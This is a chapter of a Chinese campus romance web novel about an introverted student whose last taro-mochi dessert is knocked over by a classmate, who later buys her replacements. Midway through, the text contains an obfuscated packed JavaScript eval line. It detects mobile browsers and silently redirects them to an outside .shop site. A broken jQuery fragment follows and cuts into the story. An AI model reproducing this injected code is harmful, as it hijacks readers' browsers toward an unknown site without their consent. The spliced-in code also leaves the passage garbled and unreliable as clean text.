苏稔禾和陆时安的相遇带着美味的甜香。
如果要说大学做过的最后悔的事情,苏稔禾必定会选进入学生会,甚至是进入宣传部门。
这对一个大i人来说实在痛苦。
本以为升入大二就能清闲些,没想到在新血液注入之前,新生晚会的任务先压在了老生身上。
“不行,必须得去。”
苏稔禾磨了半天,宣传部长依旧铁面无私。
“新生本来就不好意思,我们作为师兄师姐,要带头破冰。”
“你放心,不会很累的,我拜托了计算机学院的一位大神朋友做了互动系统,你人到就行了,不用干活儿。”
部长你不懂,对社恐来说,没事情做纯社交才是最累的。
于是,周五晚上,苏稔禾生无可恋地站在了舞台上,身旁的主持人热情洋溢,侃侃而谈,她只能兢兢业业捧哏。
台下亮晶晶的眼睛和舞台上刺眼的聚光灯照在皮肤让,让她仿佛被推入磁共振机器,根本不敢有什么动作,胆战心惊。
好不容易熬到互动环节结束,进入自由互动,她揣上茶歇甜品,一溜烟就没了人影。
陆时安进入会场时,场子已经热起来了。
他不是爱凑热闹的人,只是他的创新创业项目需要一位IT工程师。
他打听到计算机学院的一位大神,NOI和IOI双金报送入学,只是深居浅出,连课都不爱上。
听说这位大神为了还人情,才帮新生晚会做了互动系统,他得知消息特意来蹲人。
进门就看到一个印有二维码的易拉宝,标题写着“蹲蹲你的有缘人。”
想必这就是大神做的互动系统了。
他站在易拉宝前仔细阅读。
这个系统主要是为社恐人士随机分配舞伴,避免有人因为不敢邀请陌生人而落单。
为了与大神有话聊,他特意扫了二维码打算体验一下。
系统响应很快,页面简洁美观,看得出设计的人很有审美。
“输入你的个人信息和性格,匹配你的有缘人。”
陆时安懒得填那么多,输入姓名、性别和籍贯,就点击了提交。
不到两秒钟,页面更新,动态的烟花在屏幕上炸开,紧接着出现一个挂了绸带的粉色热气球,上面写着“你的舞伴是‘蒜苔炒肉天下第一香’”。
陆时安:……
总不能因为他是河南人,就给他分配蒜苔炒肉吧。
他没打算主动联系对方,等对方联系自己再做打算。
会场里,新生已经结对起舞,陆时安相信大神不会喜欢这种喧闹的场合,于是直接去了会场外面的小花园碰运气。
不出所料,接近偏僻处时,一阵敲击机械键盘的声音响起,又快又冷漠。
他心中一喜,加快脚步,打算抄小道去往声源处。
他走得急,等意识到自己踢到了什么东西之后就已经来不及了。
只听一声惨叫:“我的芋泥奶贝——”
不是“我的脚”,不是“我的腿”,而是“我的芋泥小贝”。
他下意识低下头,黑暗中,模糊可见一位身穿深色裙子的姑娘。
她皮肤白皙到在黑夜中仍透亮,水晶发饰也熠熠生辉,才让陆时安勉强辨别出她的位置。
陆时安下意识想扶这姑娘起来,却被她挣开。
只见她颤颤巍巍地伸出手臂挣扎着,像是迫不及待地要拿什么东西。
陆时安顺着她的手臂看过去,不远处依稀可见一个圆盘,上面还有一团什么东西颤颤巍巍的,duang大一个,马上就要从倾斜的圆盘滚落。
他赶紧迈出步子,想帮忙取回,却因为踩到周边的草地,圆盘一歪,那团东西掉在了草地上,落地的瞬间,还可怜巴巴地又颤了两下。
刹那间,身后响起哀嚎:“啊——我的芋泥小贝!”
陆时安:……
看来是他不小心踢到了坐在草地上吃点心的姑娘,导致姑娘手中的碟子和甜点掉在了地上。
他默默扶起本来把纱裙的裙摆当坐垫而席地而坐的姑娘,诚恳地道歉:“非常抱歉,我走得太急了没看清路,我再帮你取一些回来。”
“没有了——那是最后一个…”
姑娘已经被扶起,部分灯光能够照在她的脸上,带了闪粉的眼影和高光亮晶晶的,嘴角却不受控制地往下撇,看起来非常沮丧,声音里险些带了哭腔。
苏稔禾郁闷极了。
好不容易躲个清闲,不用待在i人地狱,她专门找了没人的地方,准备品鉴小点心。
这些点心全部来自学校附近新开的网红面包店,被留在最后准备细细品尝的芋泥奶贝是这家的招牌,苏稔禾期待了一整场,踩着高跟鞋小跑才抢到最后一个,没想到一口没吃,就被扬地上了。
这感觉就好比打工人经历了一周的高强度工作,周五晚上回到家中,满怀期待给自己煮了一锅螺蛳粉,加入牛肉丸、蟹柳、响铃卷…
等到最后一步将荷包蛋打进锅里,才发现那是个臭蛋。
她越想越难过,情不自禁就开始撇嘴。
可是她清楚,在旁人眼里,自己因为打翻了一个小蛋糕就难过成这样,可能非常奇怪。
于是只能强装镇定,但是装不了一点。
陆时安看着她委屈巴巴的样子,虽然不太理解,但就是觉得自己好像犯了什么大罪。
他充满愧疚地拿出手机:“我们加个联系方式吧,我赔给你。”
远处传来合电脑的声音,他实在着急,连声抱歉,向前追去。
幸运的是,在大神离开的前一秒拦到了人,约定了进一步交流的场所。
送走大神,他才舒了口气,想起来刚刚发送的好友申请。
对方已经通过,昵称赫然是“蒜苔炒肉天下第一香”。
陆时安:……
回想起这段时光的陆时安,不由地感慨,原来那个时候洛栈宁已经开始写玄学小程序了啊。
那边的苏稔禾根本没有理会这个配对小程序,她拖着疲惫的身躯和灵魂、无精打采地回了宿舍。
同样参加新生舞会的室友已经回来,连礼服都来不及换,兴致勃勃地举着手机,三个人凑在一起看着什么,热热闹闹。
听到她关门的声音,兴奋地向她招手:“禾宝快来看,我在新生舞会拍到一个帅哥!”
有多帅,会做芋泥奶贝吗?
痛失爱食的苏稔禾并不好奇什么帅哥,但不想破坏室友性质,慢吞吞地挪过去。
“那帅哥听说是农学院的,完全不符合我们对农学生的刻板印象,皮肤特别白,面部轮廓特别清晰,还是个瘦高个,我一眼就看出是穿衣显瘦脱衣有肉的类型!”
苏稔禾凑近,怕她看不清楚,室友还特意举高手机,差点怼到她脸上。
正是因此,熟悉的身影猝不及防在她眼前放大,让她瞳孔骤缩。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17788959|210294||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
室友发现了不对劲:“怎么了?你俩认识?”
苏稔禾反应过来,气呼呼地指着手机:“就是他扬飞了我的芋泥奶贝!”
室友面面相觑,不知是谁开了个头。
“噗——”
“哈哈哈哈哈哈…”
一片从克制转向肆意的笑声中,苏稔禾悲愤地刷干净没吃到多少点心的牙齿,悲愤地入眠。
那晚她做了一个梦,梦到圆滚滚的芋泥奶贝散发着甜香出现在她的面前,喊着:“大王来吃我呀~”
她伸出手想抓住它,它却始终保持着一样的距离,气得她的肚子在夜里也咕咕直叫。
第二天上午,陆时安坐在大学城附近的咖啡店里,对面摆着咖啡的位置已经没有人影。
他与洛栈宁聊了项目的具体规划,对方展现出出乎意料的兴趣,聊得还算愉快。
送走洛栈宁,他也准备离开。
这咖啡店离学校很近,有两条路可选。
一条他常走,距离最近,十分钟就到。
另一条时间翻倍,但可以路过新开的网红甜品店。
鬼使神差地,陆时安的脚迈向了第二条路。
他昨晚特意查了这家甜品的信息,招牌芋泥奶贝一般上午就会卖光,这会儿去应该买不到了。
但他还是打算碰碰运气。
如同命中注定,陆时安走进店里的时候,展示柜整整齐齐摆放着最后四个芋泥奶贝。
他快步走进,买下它们。
店员小心翼翼地将奶贝夹进打包盒,现做的奶贝蓬松绵软,被放进去的时候调皮地duangduang两下。
陆时安笑了,他的脑子里倏然响起哀戚的呼喊:“我的芋泥奶贝——”
店员悄悄抬起眼观察陆时安,这人看起来有点冷淡,不像是爱吃芋泥奶贝的人,于是试探着问道:“帅哥来给女朋友买甜点吧?”
见陆时安面露纠结,店员自认为可能戳中了对方不愿回答的痛处,赶紧找补:“你很会挑,这是小店的招牌,每天限量供应,再来晚些就没有了。”
陆时安没有多解释,因为觉得没有必要,只是接过包装袋,忽略休息区两位女生遗憾的眼神,直接离去。
此时的他也没有想到,没过几天,学校里就流传着一种说法:农学院院草有主了,女朋友不知道是谁,反正爱吃芋泥奶贝。
正逢周末,苏稔禾在宿舍追剧,忽然收到陆时安的消息,他发了一张拎着芋泥奶贝的图片。
“这是赔罪,下楼取一下。”
苏稔禾本想拒绝,但在看到陆时安的下一句话时不再犹豫,快速跑下了楼:“天热,室外放久了就不好吃了。”
她哒哒哒地跑下楼,到陆时安面前时还有点喘气,一边道谢一边接过包装袋,同时变戏法一般从口袋里掏出一小盒饼干。
“昨晚的点心本来也不是我买的,无功不受禄,这个白色恋人饼干很好吃,你尝一尝。”
说罢,也没再和陆时安多寒暄,拎着盒子又哒哒哒地往楼上跑去。
推门进入寝室时,其他三人正趴在桌子上,津津有味地吃着——芋泥奶贝。
而桌子上摊着的打包盒数量,恰恰是陆时安购买的两倍。
见到苏稔禾又拿了一盒上来,三人满脸疑惑:“禾宝,你不是买了八个了吗?还不够吃呀。”
苏稔禾没说什么,只是笑笑,又分了一轮,加入品鉴芋泥奶贝大军。